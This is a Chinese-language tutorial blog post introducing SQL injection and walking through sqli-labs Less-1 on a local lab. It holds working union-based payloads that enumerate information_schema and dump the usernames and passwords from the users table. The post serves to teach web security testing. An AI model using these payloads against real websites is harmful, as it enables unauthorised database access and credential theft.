sql注入第一关

sql注入第一关

一、sql注入简介

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,目前是黑客对数据库进行攻击的最常用手段之一。

二、Web 程序三层架构

通常意义上就是将整个业务应用划分为:界面层、业务逻辑层、数据访问层

在这里插入图片描述

由数据库驱动的Web应用程序依从三层架构的思想也分为了三层:表示层、业务逻辑层、数据访问层

在这里插入图片描述

拓扑结构如图所示

在这里插入图片描述

1、在 Web 浏览器中输入网址连接到实验楼服务器。

2、业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。

3、脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 Sql 语句。

4、数据访问层的数据库管理系统返回 Sql 语句执行结果给 Web 服务器。

5、业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。

6、表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。

总的来说:在三层架构中,所有通信都必须要经过中间层,简单地说,三层架构是一种线性关系


三、sql注入漏洞

访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。
这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

四、sql注入点的判断

通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

对 Sql 注入的判断,主要有两个方面:

  • 判断该带参数的 Url 是否存在 Sql 注入
  • 如果存在 Sql 注入,那么属于哪种 Sql 注入

可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就非常大。

4.1、判断是否存在 Sql 注入漏洞

最为经典的单引号判断法
在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
(如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤,这时可以使用判断语句进行注入,因为此为入门基础课程,就不做深入讲解了)

4.2、Sql 注入漏洞的类型

通常 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

4.2.1 数字型判断

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

1、Url 地址中输入 http://xxx/xxx.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
2、Url 地址中继续输入 http://xxx/xxx.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:
当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1 

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。
我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2' 

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。


五、实验环境:

Apache2.4.39

FTP0.9.60

MySQL5.7.26

PHP 5.3.29(注意PHP的版本不应过高,否则会导致sqli安装失败)

sqli

六、实验步骤

第一步

在id=1后加入一个闭合符号’,如果报错,再在后面加上 – qwe将后面注释掉,如果不报错,则证明为字符型。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -- qwe

在这里插入图片描述


第二步 order by 查询字段个数

逐级增加order by 后面的数字,直到报错。这里是order by到第4个字段时报错,所以证明有3个字段。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 -- qwe

在这里插入图片描述


第三步 用select查询

用select查询前三个字段,目的是为了知道哪几个字段在前端显示,这样我们可以将想要查询的数据将前端显示的字段替换掉,比如这里我想查询数据库版本,就用version()替换掉了2。注意前面的id=1要改为id=-1,目的是为了让前面的查询语句不执行,这样我们后面查询的version()才能够显示出来。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 -- qwe

在这里插入图片描述


http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),3 -- qwe

在这里插入图片描述


第四步 查询数据库

查询我们当前所使用的数据库,为的是后期查询表名。这里查询到的表名为security。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 -- qwe

在这里插入图片描述


第五步 information_schema库

mysql5.0以上的版本有information_schema库,information_schema库中有我们所需要的表名与库名。我们先查询security数据库中的所有表的名字,并以一行输出的方式输出,因为如果不一行输出的话,前端只会显示查询的第一个表名。

MySQL数据库5.0以上自带4个数据库

在这里插入图片描述

information_schema:数据字典库,存储了其他数据库的元数据;元数据是关于数据的数据,例如库名、表名、列的数据类型、或访问权限等等。

mysql:核心数据库,存储用户的权限信息与帮助信息。
performance schema:性能字典,此数据库为数据库性能优化提供重要的参考信息。
test:测试库。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe

在这里插入图片描述


第六步查询password和username

现在我们知道了security数据库中的所有表名,我们需要查询password和username,一般情况下这些数据都会存储到users中,所以我们现在查询users这个表中的所有字段的名字是什么。

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' -- qwe

在这里插入图片描述


第七步 username和password的具体数据

现在知道了所用的库为security,所用的表是users,三个字段名分别为id,username,password,那么我们就可以进行最后一步,查询username和password的具体数据。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值